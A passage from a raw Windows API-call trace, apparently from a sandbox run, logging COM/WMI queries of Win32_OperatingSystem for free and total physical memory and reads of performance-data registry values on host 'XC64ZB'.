[6]=0x0, [7]=0x46))) returned 0x0 [0268.161] WbemLocator:IUnknown:Release (This=0x1b203278) returned 0x3 [0268.161] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0268.161] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0268.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b203360) returned 0x0 [0268.162] WbemLocator:IRpcOptions:Query (in: This=0x1b203360, pPrx=0x1b203398, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0268.162] WbemLocator:IUnknown:Release (This=0x1b203360) returned 0x3 [0268.162] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x2 [0268.162] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0268.162] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0268.162] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286080) returned 0x0 [0268.162] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0268.162] IUnknown:Release (This=0x1b286080) returned 0x3 [0268.162] IUnknown:Release (This=0x1b286080) returned 0x2 [0268.162] IUnknown:Release (This=0x1b2872e0) returned 0x2 [0268.162] SysStringLen (param_1=0x0) returned 0x0 [0268.162] IEnumWbemClassObject:Reset (This=0x1b286080) returned 0x0 [0268.169] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0e60 [0268.169] IEnumWbemClassObject:Next (in: This=0x1b286080, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0e60, puReturned=0x2910090 | out: apObjects=0x1d1c0e60*=0x1b268750, puReturned=0x2910090*=0x1) returned 0x0 [0268.175] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b268750) returned 0x0 [0268.175] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0268.175] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0268.175] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0268.175] IUnknown:AddRef (This=0x1b268750) returned 0x3 [0268.175] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0268.175] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0268.175] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b268758) returned 0x0 [0268.176] IMarshal:GetUnmarshalClass (in: This=0x1b268758, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0268.176] IUnknown:Release (This=0x1b268758) returned 0x3 [0268.176] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0268.176] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0268.176] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0268.176] IUnknown:Release (This=0x1b268750) returned 0x2 [0268.176] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0268.176] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0268.176] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b268750) returned 0x0 [0268.176] IUnknown:AddRef (This=0x1b268750) returned 0x4 [0268.176] IUnknown:Release (This=0x1b268750) returned 0x3 [0268.176] IUnknown:Release (This=0x1b268750) returned 0x2 [0268.176] CoTaskMemFree (pv=0x1d1c0e60) [0268.176] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0268.176] IUnknown:AddRef (This=0x1b268750) returned 0x3 [0268.177] IWbemClassObject:Get (in: This=0x1b268750, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0268.177] IWbemClassObject:Get (in: This=0x1b268750, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0268.177] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0268.177] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0268.177] CoGetObjectContext (in: riid=0x2296a58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0268.177] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0268.177] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2296a38*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0268.178] IUnknown:Release (This=0x77dd58) returned 0x1 [0268.179] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d218530) returned 0x0 [0268.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d218530, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0268.180] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d218530, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b293920) returned 0x0 [0268.180] WbemDefPath:IUnknown:Release (This=0x1d218530) returned 0x0 [0268.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b293920) returned 0x0 [0268.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0268.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0268.180] WbemDefPath:IUnknown:AddRef (This=0x1b293920) returned 0x3 [0268.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0268.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0268.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218dd0) returned 0x0 [0268.181] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218dd0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0268.181] WbemDefPath:IUnknown:Release (This=0x1d218dd0) returned 0x3 [0268.181] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0268.181] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0268.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0268.181] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x2 [0268.181] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x1 [0268.181] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0268.181] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0268.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b293920) returned 0x0 [0268.181] WbemDefPath:IUnknown:AddRef (This=0x1b293920) returned 0x3 [0268.181] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x2 [0268.181] WbemDefPath:IWbemPath:SetText (This=0x1b293920, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0268.181] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0268.181] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0268.182] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0268.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0268.213] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0268.213] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0268.213] IWbemClassObject:Get (in: This=0x1b268750, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2910e58*=0, plFlavor=0x2910e5c*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2910e58*=21, plFlavor=0x2910e5c*=0) returned 0x0 [0268.224] SysStringByteLen (bstr="1359840") returned 0xe [0268.224] SysStringByteLen (bstr="1359840") returned 0xe [0268.225] IWbemClassObject:Get (in: This=0x1b268750, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2910e58*=21, plFlavor=0x2910e5c*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2910e58*=21, plFlavor=0x2910e5c*=0) returned 0x0 [0268.225] SysStringByteLen (bstr="1359840") returned 0xe [0268.225] SysStringByteLen (bstr="1359840") returned 0xe [0268.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0268.226] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0268.226] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0268.227] IWbemClassObject:Get (in: This=0x1b268750, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2911050*=0, plFlavor=0x2911054*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2911050*=21, plFlavor=0x2911054*=0) returned 0x0 [0268.227] SysStringByteLen (bstr="2096620") returned 0xe [0268.227] SysStringByteLen (bstr="2096620") returned 0xe [0268.227] IWbemClassObject:Get (in: This=0x1b268750, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2911050*=21, plFlavor=0x2911054*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2911050*=21, plFlavor=0x2911054*=0) returned 0x0 [0268.227] SysStringByteLen (bstr="2096620") returned 0xe [0268.227] SysStringByteLen (bstr="2096620") returned 0xe [0268.228] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0268.228] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0268.228] IUnknown:Release (This=0x1b286080) returned 0x0 [0270.270] GetTickCount64 () returned 0x1ac035d [0270.272] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0270.272] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x25f3540, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x25f3540*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0270.275] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0270.275] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2604958, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2604958*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0270.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0270.280] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0270.280] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0270.280] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0270.281] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0270.281] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0270.281] IUnknown:Release (This=0x77dd58) returned 0x1 [0270.282] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218590) returned 0x0 [0270.282] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0270.282] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218590, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d2185d0) returned 0x0 [0270.283] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x0 [0270.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d2185d0) returned 0x0 [0270.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0270.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0270.283] WbemLocator:IUnknown:AddRef (This=0x1d2185d0) returned 0x3 [0270.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0270.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0270.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0270.283] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0270.283] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0270.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0270.283] WbemLocator:IUnknown:Release (This=0x1d2185d0) returned 0x2 [0270.283] WbemLocator:IUnknown:Release (This=0x1d2185d0) returned 0x1 [0270.283] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0270.284] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0270.284] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d2185d0) returned 0x0 [0270.284] WbemLocator:IUnknown:AddRef (This=0x1d2185d0) returned 0x3 [0270.284] WbemLocator:IUnknown:Release (This=0x1d2185d0) returned 0x2 [0270.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0270.284] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0270.284] WbemDefPath:IWbemPath:GetText (in: 